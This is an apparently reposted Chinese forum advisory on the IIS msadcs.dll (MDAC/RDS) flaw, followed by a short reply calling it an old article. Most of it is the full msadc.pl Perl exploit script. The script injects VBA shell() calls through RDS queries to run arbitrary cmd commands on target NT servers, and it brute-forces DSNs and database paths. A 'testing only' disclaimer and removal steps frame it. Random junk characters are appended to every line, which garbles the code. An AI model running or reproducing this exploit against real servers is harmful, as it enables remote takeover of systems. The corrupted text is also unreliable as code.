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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3#[I _  
]r6bJ 2  
涉及程序: p/~kw:I  
Microsoft NT server N3<Jh  
E6k&r}  
描述: YC<I|&"  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 K7c8_g*>4=  
_O%p{t'q<  
详细: DG=Ap:sl*$  
如果你没有时间读详细内容的话,就删除: h :R)KM  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 0)!zhO_}  
有关的安全问题就没有了。 ,be?GAq  
,m,vo_Ub  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 (xed(uFEK  
+.I'U9QeUN  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 $4L3y uH  
关于利用ODBC远程漏洞的描述,请参看: {6sfa?1j  
Fr3t [:D  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm x["  
nif' l/@"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Rn_c9p  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 9lCKz !E  
rgKn=8+a  
这里不再论述。 RzQS@^u*F0  
QOk"UP  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: >iN%Uz  
0)V-|v`  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {2^ @jD  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 9AzGk=^  
,r;d{  
]H~,K]@.  
#将下面这段保存为txt文件,然后: "perl -x 文件名" dy?|Q33Y"  
XH$|DeAFM  
#!perl q&T'x> /  
# f*}E\,V"&  
# MSADC/RDS 'usage' (aka exploit) script CJ  
# t}*!UixE  
# by rain.forest.puppy (t$/G3E  
# +Uq:sfj,  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1C=P#MU`  
# beta test and find errors! FSs$ ] d;  
&Ld8Z9IeFp  
use Socket; use Getopt::Std; M) XQi/  
getopts("e:vd:h:XR", \%args); m?$G(E5  
PSS/JFZ^  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; , vyx`wDd  
%W;Gf9.w  
if (!defined $args{h} && !defined $args{R}) { 4ZpF1Zc4B  
print qq~ 5O ;^Mk|  
Usage: msadc.pl -h <host> { -d <delay> -X -v } z %E!tB2o  
-h <host> = host you want to scan (ip or domain) C&N4<2b  
-d <seconds> = delay between calls, default 1 second s,H(m8#>  
-X = dump Index Server path table, if available C)p<M H<  
-v = verbose %5?-g[  
-e = external dictionary file for step 5 &W// Ox )f  
iGVb.=)  
Or a -R will resume a command session #-j! ;?  
.MARF  
~; exit;} _4B iF?1  
n@[</E(  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; .BDRD~kB  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} T JS1,3<  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} kTc5KHJ7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); F{~r7y;0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} BV?N_/DXp  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } e7qMt[.  
M;V#Gm  
if (!defined $args{R}){ $ret = &has_msadc; s^'#"`!v=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} .t[ZXrd| 0  
+gCy@_2;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" P Xn>x8z  
. "cmd /c "; 1'm`SRX#e  
$in=<STDIN>; chomp $in; {<4?o? 1 g  
$command="cmd /c " . $in ; 6@;L$QYY-V  
_|wY[YJ[  
if (defined $args{R}) {&load; exit;} x~Ly$A2p  
Z)T@`B6  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?V:]u 3  
&try_btcustmr; `+Z#*lj|@  
bK$D lBZ  
print "\nStep 2: Trying to make our own DSN..."; `yXx[deY  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; dQ`ZrWd_U  
)wzs~Fn/  
print "\nStep 3: Trying known DSNs..."; ;}jbdS3  
&known_dsn; tSc>@Q_|  
r9a!,^}F  
print "\nStep 4: Trying known .mdbs..."; &t|V:_?/x  
&known_mdb; AYu'ptDNr  
G^@Jgx3n  
if (defined $args{e}){ ?WtG|w  
print "\nStep 5: Trying dictionary of DSN names...";  zn;Hs]G  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $o$Ev@mi  
jsi#l  
print "Sorry Charley...maybe next time?\n"; c$<O0dI  
exit; To{G#QEgG  
xc<eU`-' b  
############################################################################## #0<y0uJ(y  
_.*4Y  
sub sendraw { # ripped and modded from whisker :Z]hI+7  
sleep($delay); # it's a DoS on the server! At least on mine... ~7 L)n  
my ($pstr)=@_; UEQ'D9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r]O@HVbt$  
die("Socket problems\n"); {e[pSD6   
if(connect(S,pack "SnA4x8",2,80,$target)){ AH 87UkNL  
select(S); $|=1; = *;Xc-_  
print $pstr; my @in=<S>; '[yqi1 &  
select(STDOUT); close(S); mImbS)V  
return @in; ?"<r9S|[O  
} else { die("Can't connect...\n"); }} uC*:#[  
^r$iN %&~  
############################################################################## ""v`0OP&J  
c]!D`FA*K  
sub make_header { # make the HTTP request Q @OC=  
my $msadc=<<EOT s.I1L?s1w?  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 lPcVhj6No%  
User-Agent: ACTIVEDATA 5az 4NT  
Host: $ip . (*kgv@3x  
Content-Length: $clen H^PqYLj N  
Connection: Keep-Alive _ kSPUP5  
{F6dSF`  
ADCClientVersion:01.06 :n>ccZeMv  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *[1u[H9Cv  
+=*m! 7Mr  
--!ADM!ROX!YOUR!WORLD! &;h~JS=  
Content-Type: application/x-varg P2Qyz}!wo  
Content-Length: $reqlen r {B,uj"  
0.BUfuuh  
EOT & kjwIg{  
; $msadc=~s/\n/\r\n/g; fzFvfMAU  
return $msadc;} R4~zL!7;  
Wt)SdF=U/  
############################################################################## ZH$sMh<xg  
ZOrTbik  
sub make_req { # make the RDS request )lDIzLp  
my ($switch, $p1, $p2)=@_; L^ #<HQ  
my $req=""; my $t1, $t2, $query, $dsn;  kulQR>u  
ZYA.1VrM  
if ($switch==1){ # this is the btcustmr.mdb query 7=p-A _X  
$query="Select * from Customers where City=" . make_shell(); 'D0X?2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R|)2Dg  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} |N=@E,33  
KIAe36.~  
elsif ($switch==2){ # this is general make table query `k}l$ih`X  
$query="create table AZZ (B int, C varchar(10))"; e9Ul A  
$dsn="$p1";} Il^ \3T+  
BvZ^^IUb  
elsif ($switch==3){ # this is general exploit table query <` p75B  
$query="select * from AZZ where C=" . make_shell(); APtselC  
$dsn="$p1";} 7tfivIj)e  
ueE?"Hk  
elsif ($switch==4){ # attempt to hork file info from index server 4/`h@]8P  
$query="select path from scope()"; A M1C $  
$dsn="Provider=MSIDXS;";} 4I#eC#"  
mj(&`HRs4  
elsif ($switch==5){ # bad query Mi/ &$" =  
$query="select"; e@,u`{C[  
$dsn="$p1";} :Hf0Qx6  
4$?w D <  
$t1= make_unicode($query); zOao&  
$t2= make_unicode($dsn); >: W-C{%  
$req = "\x02\x00\x03\x00"; VTJIaqw  
$req.= "\x08\x00" . pack ("S1", length($t1)); i#]aV]IT  
$req.= "\x00\x00" . $t1 ; 1t\b a1x  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z4HA94  
$req.= "\x00\x00" . $t2 ; D-o7yc"K  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; b,rH&+2H  
return $req;} 2i7i\?<.  
s?@)a,C%k  
############################################################################## <nb3~z1  
$p0 /6c  
sub make_shell { # this makes the shell() statement vlPl(F1  
return "'|shell(\"$command\")|'";} O+E1M=R6h  
S}m$,<x  
############################################################################## S[L#M;n  
%CxEZPe$  
sub make_unicode { # quick little function to convert to unicode ie$`pyj!x  
my ($in)=@_; my $out; (! 0j4'  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } kh<pLI>$h  
return $out;} yWv<A^C &  
+w k]iH  
############################################################################## h5&/hBN  
pyg!rf-  
sub rdo_success { # checks for RDO return success (this is kludge) YH'$_,8peM  
my (@in) = @_; my $base=content_start(@in); {HIR>])o  
if($in[$base]=~/multipart\/mixed/){ EREolCASb  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +-H}s`  
return 0;} 43J\8WBn@  
$c@w$2  
############################################################################## 83  i1  
Z@uTkqG)  
sub make_dsn { # this makes a DSN for us %qS]NC  
my @drives=("c","d","e","f"); bSrRsgKvT  
print "\nMaking DSN: "; B=Zl&1  
foreach $drive (@drives) { lJ:M^.Em0  
print "$drive: "; d`9W  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . jF38kj3O7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" c?!YFm  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /lS+J(I  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; kfqpI  
return 0 if $2 eq "404"; # not found/doesn't exist e~+(7_2  
if($2 eq "200") { f=:3!k,S  
foreach $line (@results) { wovmy{K  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} B]^>GH  
} return 0;} T|o`a+?  
? o~:'Z  
############################################################################## 4#^'lKIx  
Ka]J^w;a  
sub verify_exists { $5TepH0D  
my ($page)=@_; $=PWT-GIR  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Qy=HrL]x  
return $results[0];} \Y!T>nWn)I  
lX98"}  
############################################################################## ]a$Wxvgq  
HYjMNj0  
sub try_btcustmr { b&lN%+%}  
my @drives=("c","d","e","f"); f {y]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /OQK/ t63  
:vc[/<  
foreach $dir (@dirs) { <i_> y~v`  
print "$dir -> "; # fun status so you can see progress x],8yR)R  
foreach $drive (@drives) { [!1)mR  
print "$drive: "; # ditto Fw_ (q!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KqM!!  
$reqlenlen=length( "$reqlen" ); May&@x/oMS  
$clen= 206 + $reqlenlen + $reqlen; 4meidKw]  
u(pdP"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \C]i|]tl  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} H+4=|mkQ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {8^Gs^c c  
`6a]|7|f  
############################################################################## lpl8h4d  
v!NB~"LQ  
sub odbc_error { xn(+G$m  
my (@in)=@_; my $base; b!i`o%Vb  
my $base = content_start(@in); e#>tM  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T*h!d(  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D 4< -8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ss? ]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m"lE&AM64p  
return $in[$base+4].$in[$base+5].$in[$base+6];} UF@IBb}0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; HQq`pG%m6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . t *{,Gk  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ![^EsgEB*  
z 0~j  
############################################################################## x}tKewdOSe  
<jbj/Q )"  
sub verbose { Wgxn`6  
my ($in)=@_; /Zo~1q  
return if !$verbose; P3'2IzNw  
print STDOUT "\n$in\n";} +"]oc{W!  
{5T0RL{\N  
############################################################################## G1}~.%J  
DdBxqkh  
sub save { n!GWqle  
my ($p1, $p2, $p3, $p4)=@_; 8@E8!w&~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; *;<e '[Y7f  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 2q)T y9  
close OUT;} y^2#9\}K  
tf4*R_6;1$  
############################################################################## ecn}iN  
:/+>e IE  
sub load { 2 9q?$V(  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; +0VG[ c\8  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); A#<vG1  
@p=<IN>; close(IN); S8\+XJ  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `SCy<w3$+[  
$target= inet_aton($ip) || die("inet_aton problems"); (~S<EUc$  
print "Resuming to $ip ..."; _1sP.0 t  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; &k1/Z*/  
if($p[1]==1) { r)VLf#3B  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; XZ} de%U1  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `)"tO&Fn  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); lp(Nv(S  
if (rdo_success(@results)){print "Success!\n";} 4[`[mE18.  
else { print "failed\n"; verbose(odbc_error(@results));}} {5>3;.  
elsif ($p[1]==3){ 3 h#s([uL  
if(run_query("$p[3]")){ r,5-XB  
print "Success!\n";} else { print "failed\n"; }} $4=Ne3 y  
elsif ($p[1]==4){ [M4xZHd#o  
if(run_query($drvst . "$p[3]")){ >A3LA3( c  
print "Success!\n"; } else { print "failed\n"; }} =(%*LY!Xc  
exit;} D/Rv&>Jh  
&GuF\wJ{7  
############################################################################## Zb]/nP1P  
 L#n}e7Y9  
sub create_table { H ZPcd_(  
my ($in)=@_; L^lS^P  
$reqlen=length( make_req(2,$in,"") ) - 28; GE@uO J6H  
$reqlenlen=length( "$reqlen" ); im=5{PbJ^  
$clen= 206 + $reqlenlen + $reqlen; 29%=:*R$  
my @results=sendraw(make_header() . make_req(2,$in,"")); (wife#)~  
return 1 if rdo_success(@results); hGvqT,'  
my $temp= odbc_error(@results); verbose($temp); d>&\V)E  
return 1 if $temp=~/Table 'AZZ' already exists/; -TgUyv.  
return 0;} ^\MhT)x  
B22b&0  
############################################################################## [a@ B =E  
' PELf P8  
sub known_dsn { >)LAjwhBp  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go a2o.a 2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", >rKhlUD  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", zhX;6= X2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7{-@}j`  
W,Ty=:qm*  
foreach $dSn (@dsns) { 3Y`>6A=  
print "."; zO%w_7 w  
next if (!is_access("DSN=$dSn")); :<|Z.4}kJb  
if(create_table("DSN=$dSn")){ [UoqIU  
print "$dSn successful\n"; mH)OB?+lq  
if(run_query("DSN=$dSn")){ GMBJjP&R]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /jR8|sb  
print "Something's borked. Use verbose next time\n";}}} print "\n";} pajy#0 U  
6+iK!&+=  
############################################################################## !3h{lE B  
#7o0dE;Kg9  
sub is_access { *<r%aeG$em  
my ($in)=@_; |CwG3&8  
$reqlen=length( make_req(5,$in,"") ) - 28; N+NK`  
$reqlenlen=length( "$reqlen" ); BhLZ7*  
$clen= 206 + $reqlenlen + $reqlen; ^#;RLSv   
my @results=sendraw(make_header() . make_req(5,$in,""));  //<:k8  
my $temp= odbc_error(@results); p5-<P?B  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); `gI~|A4  
return 0;} &mcR   
"qS!B.rt:  
############################################################################## jn^fgH ?  
Oxv+1Ub<Dv  
sub run_query { G,]z (%  
my ($in)=@_; bE d?^h  
$reqlen=length( make_req(3,$in,"") ) - 28; zks#EzQ  
$reqlenlen=length( "$reqlen" ); ;, rnk-  
$clen= 206 + $reqlenlen + $reqlen; N!L'W\H,  
my @results=sendraw(make_header() . make_req(3,$in,"")); Pu..NPl+  
return 1 if rdo_success(@results); Zi/-~')E  
my $temp= odbc_error(@results); verbose($temp); 6 Uw;C84!  
return 0;} ^!}F%  
 i S  
############################################################################## j7}lF?cJ2  
zw]3Vg{T  
sub known_mdb { _IxamWpX$  
my @drives=("c","d","e","f","g"); Q2"WV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); gLD{1-v  
my $dir, $drive, $mdb; f*<ps o  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; akC>s8tqlA  
)Oievu_"|  
# this is sparse, because I don't know of many I8k  
my @sysmdbs=( "\\catroot\\icatalog.mdb", \i0-o8q@I  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", A*F9\mj I5  
"\\system32\\certmdb.mdb", E~RV1)  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% Sph*1c(R  
*Tp]h 0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =/Wu'gG)  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @+&'%1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", .!yq@Q|=u  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4fty~0i=z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", uoCGSXsi  
"\\cfusion\\database\\cfexamples.mdb", Szts<n5  
"\\cfusion\\database\\cfsnippets.mdb", E*k([ZL  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", TV=c,*TV  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", K2HvI7$-  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ZoxS*Xk  
"\\cfusion\\database\\smpolicy.mdb", hJ[UB  
"\\cfusion\\database\cypress.mdb", 6e# wR/  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Cw#V`70a  
"\\website\\cgi-win\\dbsample.mdb", Lm|al.Z  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Vv4H:BK$  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" fa{@$ppx  
); #these are just 6V2j*J  
foreach $drive (@drives) { B\[-fq  
foreach $dir (@dirs){ 3gc"_C\$  
foreach $mdb (@sysmdbs) { %ek"!A  
print "."; h<Wg3o  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ tpo>1|  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; #ZWl=z5aBi  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <KLg0L<W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; .S_QQM}Q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} -~O/NX  
V#J"c8n  
foreach $drive (@drives) { J`<f  
foreach $mdb (@mdbs) { +"uwV1)b"  
print "."; ([KN*OF  
if(create_table($drv . $drive . $dir . $mdb)){ XG&K32_fs  
print "\n" . $drive . $dir . $mdb . " successful\n"; X NE+(Bt  
if(run_query($drv . $drive . $dir . $mdb)){ } 0;Sk(B>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; C[8KlD  
} else { print "Something's borked. Use verbose next time\n"; }}}} \Y e%o}.{  
} iBoEZEHjw  
{eR9 ;2!  
############################################################################## {|6z+vR  
gz61FW  
sub hork_idx { 5B*qbM  
print "\nAttempting to dump Index Server tables...\n"; $.:3$et@/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; sPCMckt  
$reqlen=length( make_req(4,"","") ) - 28; |>2: eH  
$reqlenlen=length( "$reqlen" ); CH;;V3  
$clen= 206 + $reqlenlen + $reqlen; tpYa?ZCM  
my @results=sendraw2(make_header() . make_req(4,"","")); Yy h=G  
if (rdo_success(@results)){ [Oy >R  
my $max=@results; my $c; my %d; FT.@1/)  
for($c=19; $c<$max; $c++){ ]:et~pfW  
$results[$c]=~s/\x00//g; k1fRj_@WPT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; w>vH8f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :Jl Di>B  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; D|Si)_ Iz  
$d{"$1$2"}="";} "2;N2=~7  
foreach $c (keys %d){ print "$c\n"; } x=,8[W#XT  
} else {print "Index server doesn't seem to be installed.\n"; }} 0H[LS  
T~J? AKx  
############################################################################## *Jt8  
?9e]   
sub dsn_dict { z-@ -O  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); GwQn;gkF  
while(<IN>){ TyOH`5 D  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ~/|zlu*jpc  
next if (!is_access("DSN=$dSn")); _tj&Psp  
if(create_table("DSN=$dSn")){ nwf7M#3d  
print "$dSn successful\n"; 4#:\?HAu!  
if(run_query("DSN=$dSn")){ ~NNv>5 t5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  %+wF"  
print "Something's borked. Use verbose next time\n";}}} hhmGv9P  
print "\n"; close(IN);} 2-v\3voN  
$Ha%Gr  
############################################################################## |Q!4GeQL[  
;+`uER  
sub sendraw2 { # ripped and modded from whisker 1TRN~#ix  
sleep($delay); # it's a DoS on the server! At least on mine... uvB1VV4  
my ($pstr)=@_; Y=Hz;Ni  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || xR908+>5  
die("Socket problems\n"); &+r 4  
if(connect(S,pack "SnA4x8",2,80,$target)){ El6bD% \G  
print "Connected. Getting data"; g$3> ~D  
open(OUT,">raw.out"); my @in; >}SRSqJu  
select(S); $|=1; print $pstr; JD~aUB%  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &71e5<(dG  
close(OUT); select(STDOUT); close(S); return @in; L'9N9CR{i  
} else { die("Can't connect...\n"); }} Ro r2qDF  
LC-)'Z9}5  
############################################################################## (vQ+e  
<v$QM;Ff  
sub content_start { # this will take in the server headers s, XM9h>P4  
my (@in)=@_; my $c; Y8ehmz|g]J  
for ($c=1;$c<500;$c++) { H06Bj(Y!  
if($in[$c] =~/^\x0d\x0a/){ zj%cQkZ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1S%}xsR0  
else { return $c+1; }}} " s]y!BLk  
return -1;} # it should never get here actually >&Fa(o;*  
Vk7=7%xW  
############################################################################## <4mQ*6  
g:gB`8w?  
sub funky { ^\wl2  
my (@in)=@_; my $error=odbc_error(@in); inF6M8 A1  
if($error=~/ADO could not find the specified provider/){ iV hJH4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; .Z%G@X*  
exit;} >;nS8{2o  
if($error=~/A Handler is required/){ Coa-8j*R7  
print "\nServer has custom handler filters (they most likely are patched)\n"; @J vZ[T/  
exit;} >V!LitdJ  
if($error=~/specified Handler has denied Access/){ sR*Nq5F#9  
print "\nServer has custom handler filters (they most likely are patched)\n"; '[Gm8K5  
exit;}} Fu)Th|5GZ  
-&Gfh\_NW  
############################################################################## hz)9"B\S  
f\K#>u* Q  
sub has_msadc { @vs@>CYdz  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ~7SH4Cr  
my $base=content_start(@results); J70D+  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); >o[|"oLO  
return 0;} L2|aHI1'l  
0*7*RX  
######################## 8A{6j  
7X'y>\^w^>  
wUp)JI  
解决方案: P*G+eqX  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll zWIeHIt  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 7+ XM3  
% vS8?nG  
拿出来充数 哈哈
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